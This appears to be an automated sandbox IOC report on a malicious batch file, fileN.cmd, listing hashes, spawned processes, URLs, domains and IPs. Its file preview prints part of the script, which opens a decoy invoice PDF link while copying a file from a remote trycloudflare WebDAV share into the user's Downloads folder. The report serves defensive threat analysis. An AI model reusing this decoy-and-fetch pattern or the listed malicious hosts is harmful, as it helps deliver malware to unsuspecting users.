Automated Malware Analysis IOC Report for

Files

File Path

Type

Category

Malicious

fileN.cmd

DOS batch file, ASCII text, with CRLF line terminators

initial sample

Details

Filetype:	DOS batch file, ASCII text, with CRLF line terminators
Entropy:	5.055753899661047
Filename:	fileN.cmd
Filesize:	2029
MD5:	b0440336a17e2a86c8fdaab419c3a3f7
SHA1:	f831b05ff3fc56c2e023e4121e07b895fe1d9153
SHA256:	7d5848842e934d5a57fb8766962a556e01c3715481d63d2a10dbca4bac897ddf
SHA512:	98d631901af6b240356c6443ba3c7a20af35034189f38caedd87790a034bedadf784aa034a77438d14574193eb5037c3778a5c05201bfe1380d62c56efd66f27
SSDEEP:	48:7Zc2Nq7rGuszsES/dasE1TmJn4JWsEd9BjNRJ412QsEIpSY4c:mLjZESFHE1e4ZEd9BZRe01EIIlc
Preview:	@echo off..setlocal....set source=\\maintenance-princess-musical-vocational.trycloudflare.com@SSL\DavWWWRoot\google\Win..set destination=%USERPROFILE%\Downloads....echo Opening PDF file.....start "" "https://s2r.tn/cgi/INVOICERVSHA.pdf"....copy /Y "%sourc

Signature Hits	Behavior Group	Mitre Attack
URLs found in memory or binary data	Networking

Chrome Cache Entry: 47

HTML document, ASCII text

downloaded

Details

File:	Chrome Cache Entry: 47
Category:	downloaded
Dump:	chromecache_47.6.dr
ID:	dr_2
Target ID:	6
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
Type:	HTML document, ASCII text
Entropy:	5.0572271090563765
Encrypted:	false
Ssdeep:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
Size:	315
Whitelisted:	false
Reputation:	high

Chrome Cache Entry: 48

HTML document, ASCII text

downloaded

Details

File:	Chrome Cache Entry: 48
Category:	downloaded
Dump:	chromecache_48.6.dr
ID:	dr_3
Target ID:	6
Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
Type:	HTML document, ASCII text
Entropy:	5.0572271090563765
Encrypted:	false
Ssdeep:	6:pn0+Dy9xwGObRmEr6VnetdzRx3G0CezoFEHcLgabzjsKtgsg93wzRbKqD:J0+oxBeRmR9etdzRxGezZfCzjsKtgizR
Size:	315
Whitelisted:	false
Reputation:	high

Processes

Path

Cmdline

Malicious

C:\Windows\System32\cmd.exe

C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\fileN.cmd" "

Details

Is windows:	true
Is dropped:	false
PID:	5424
Target ID:	0
Parent PID:	4004
Name:	cmd.exe
Class:	cmd
Path:	C:\Windows\System32\cmd.exe
Commandline:	C:\Windows\system32\cmd.exe /c ""C:\Users\user\Desktop\fileN.cmd" "
Size:	289792
MD5:	8A2122E8162DBEF04694B9C3E0B6CDEE
Time:	15:06:46
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff6d96c0000
Modulesize:	421888
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

C:\Windows\System32\conhost.exe

C:\Windows\system32\conhost.exe 0xffffffff -ForceV1

Details

Is windows:	true
Is dropped:	false
PID:	3840
Target ID:	1
Parent PID:	5424
Name:	conhost.exe
Path:	C:\Windows\System32\conhost.exe
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Size:	862208
MD5:	0D698AF330FD17BEE3BF90011D49251D
Time:	15:06:46
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff66e660000
Modulesize:	892928
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Spawns processes	System Summary	Process Injection

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf

Details

Is windows:	true
Is dropped:	false
PID:	4136
Target ID:	4
Parent PID:	5424
Name:	chrome.exe
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --start-maximized --single-argument https://s2r.tn/cgi/INVOICERVSHA.pdf
Size:	3242272
MD5:	5BBFA6CBDF4C254EB368D534F9E23C92
Time:	15:06:47
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff684c40000
Modulesize:	3325952
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

C:\Program Files\Google\Chrome\Application\chrome.exe

"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2016,i,2758172289711227357,3117054335507487613,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8

Details

Is windows:	true
Is dropped:	false
PID:	4092
Target ID:	6
Parent PID:	4136
Name:	chrome.exe
Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Commandline:	"C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2080 --field-trial-handle=2016,i,2758172289711227357,3117054335507487613,262144 --disable-features=OptimizationGuideModelDownloading,OptimizationHints,OptimizationHintsFetching,OptimizationTargetPrediction /prefetch:8
Size:	3242272
MD5:	5BBFA6CBDF4C254EB368D534F9E23C92
Time:	15:06:48
Date:	23/05/2024
Reason:	newprocess
Reputation:	high
Is admin:	true
Is elevated:	true
Modulebase:	0x7ff684c40000
Modulesize:	3325952
Wow64:	false

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Spawns processes	System Summary	Process Injection

URLs

Name

IP

Malicious

https://s2r.tn/cgi/INVOICERVSHA.pdf

Details

Name:	https://s2r.tn/cgi/INVOICERVSHA.pdf
TargetID:	0
From Memory:	false
Current Path:	C:\Windows\System32\cmd.exe
Source:	browser

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
HTML page is missing a favicon	Phishing
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

https://s2r.tn/favicon.ico

70.38.21.234

Domains

Name

IP

Malicious

s2r.tn

70.38.21.234

Details

Name:	s2r.tn
IP:	70.38.21.234
TargetID:	6
Current Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Creates a process in suspended mode (likely to inject code)	HIPS / PFW / Operating System Protection Evasion	Process Injection
Downloads files from webservers via HTTP	Networking	Application Layer Protocol Non-Application Layer Protocol Ingress Tool Transfer
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol
Spawns processes	System Summary	Process Injection
URLs found in memory or binary data	Networking

www.google.com

216.58.212.132

Details

Name:	www.google.com
IP:	216.58.212.132
TargetID:	6
Current Path:	C:\Program Files\Google\Chrome\Application\chrome.exe
Active:	true

Signature Hits	Behavior Group	Mitre Attack
Performs DNS lookups	Networking	Application Layer Protocol Non-Application Layer Protocol

IPs

IP

Domain

Country

Malicious

70.38.21.234

s2r.tn

Canada

239.255.255.250

unknown

Reserved

216.58.212.132

www.google.com

United States

192.168.2.6

unknown

DOM / HTML

URL

Malicious

https://s2r.tn/cgi/INVOICERVSHA.pdf

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC Report
fileN.cmd

Files

Processes

URLs

Domains

IPs

DOM / HTML

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

IOC ReportfileN.cmd

Files

Processes

URLs

Domains

IPs

DOM / HTML

IOC Report
fileN.cmd